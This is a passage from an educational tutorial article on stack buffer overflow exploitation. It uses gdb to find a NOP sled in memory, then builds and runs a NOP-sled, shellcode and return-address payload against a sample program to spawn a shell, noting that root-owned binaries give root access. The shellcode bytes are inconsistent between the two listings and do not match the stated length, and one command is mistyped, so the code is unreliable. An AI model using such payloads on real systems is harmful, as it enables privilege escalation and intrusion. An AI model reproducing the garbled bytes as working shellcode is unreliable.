

The exploit

Now we need to find out where in the memory the NOPS get inserted. Let us pass NOPS as arguments to the program, get a breakpoint in the code where the NOPS get copied to the buffer, and then examine the memory addresses after the current position of the stack pointer, to find out where the NOPS get inserted.

```
(gdb) break strcpy
Breakpoint 1 at 0x0848330
(gdb) run 'python -r 'print "\x90"*300''
Starting program: /home/savita/example1 'python -c 'print "\x90"*300''

Breakpoint 1, 0xb7ea60c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/500bwx $esp
0xbffff06c: 0x08048476 0xbffff080 0xbffff446 0x00000000
0xbffff07c: 0xb7fe748f 0xb7fc3000 0x00000002 0x0804824c
<snipped>
0xbffff47c: 0x6178652f 0x656c796d 0x90909031 0x90909090
0xbffff48c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff49c: 0x90909090 0x90909090 0x90909090 0x90909090
<snipped>
0xbffff55c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff56c: 0x90909090 0x53090909 0x415f4853 0x544e4547
0xbffff57c: 0x4449505f 0x3939313d 0x50470831 0x47415f47
```

Now, looking at the memory addresses, it can be seen that the memory address `0xbffff48c`, among many other addresses, contains NOPS. This can be made the return address. Of the 416 bytes required to overflow the buffer and overwrite the `esp`, 38 bytes will be occupied by the shellcode, and 4 bytes by the return address. The remaining 374 bytes ($416 - (38 + 4)$) can be filled with NOPS. The following has to be passed as a command-line argument to the program:

```
"\x90" * 374 + "\xeb\x18\x5e\x89\x76\x08\x31\xce\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x4e\x08\x8d\x56\x0c\x0b\xcd\x80\xe8\xe3\x08\x8d\x56\x0c\x0b\xcd\x80\xe8\xe3\xff\xff\xbf" + "\x8c\xf4\xff\xbf"
```

Execute the program:

```
$ ./example1 'python -c 'print "\x90" * 374 + "\xeb\x18\x5e\x89\x76\x08\x31\xce\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\x0b\xcd\x80\xe8\xe3\xff\xff\xbf" + "\x8c\xf4\xff\xbf"'
```

A new shell is spawned with the same privileges as the program. This is just one of the many ways in which the buffer overflow can be exploited. In many cases, the binary with the vulnerability may belong to a user with higher privileges. A shell spawned from such a binary gives the attacker elevated access rights, as well as access to the user's account. For example, if the root user created the binary, the shell spawned would give the attacker root privileges.

Many protection mechanisms have been introduced to make buffer overflows more difficult to exploit. Some have been applied on the stack, while some have been implemented throughout the memory. They ensure that even if adjacent memory spaces have been overwritten, the purpose of the attack (which is mostly to execute malicious code that can help the attackers gain unauthenticated access) is not served. None of these mechanisms, however, prevent buffer overflows—they still continue to the most commonly exploited vulnerability. Hence, there is a need for secure coding practices among programmers. GDB provides a very handy and intuitive tool for detecting the possibility of buffer overflows and understanding them. 

References

- [1] <http://insecure.org/stf/smashstack.html>
- [2] http://en.wikipedia.org/wiki/Elias_Levy
- [3] <http://www.phrack.org/issues.html?issue=57>
- [4] <http://www.phrack.org/issues.html?issue=56>
- [5] <http://www.codecademy.com/tipsforlinux/articles/028.html>

By: Savita Seetaraman

The author is in the third year of her Bachelor's degree in Computer Science and Engineering at Amrita Vishwa Vidyapeetham, Amritapuri, India. She is an open source enthusiast. You can follow her at her blog <http://savita92.wordpress.com/>. Recently, her attention has been focused on cyber security. She is currently learning about security vulnerabilities in software and ways to exploit them.



GET COMPLETE EMAIL INFRASTRUCTURE SOLUTIONS FOR ENTERPRISES AT UNBELIEVABLE PRICES!

- TechnoMail - Enterprise Email Server Anti SPAM, Anti Virus, Email Content Filtering
- Firewall, Internet Access Control Content Filtering, Site Blocking
- Bandwidth Management System
- Managed Email Hosting Solutions

TechnoInfotech

1, Vikas Permisses, 11 Bank Street,
Fort Mumbai, India-400 001,
Mobile: 09167399917.
Email: info@technoinfotech.com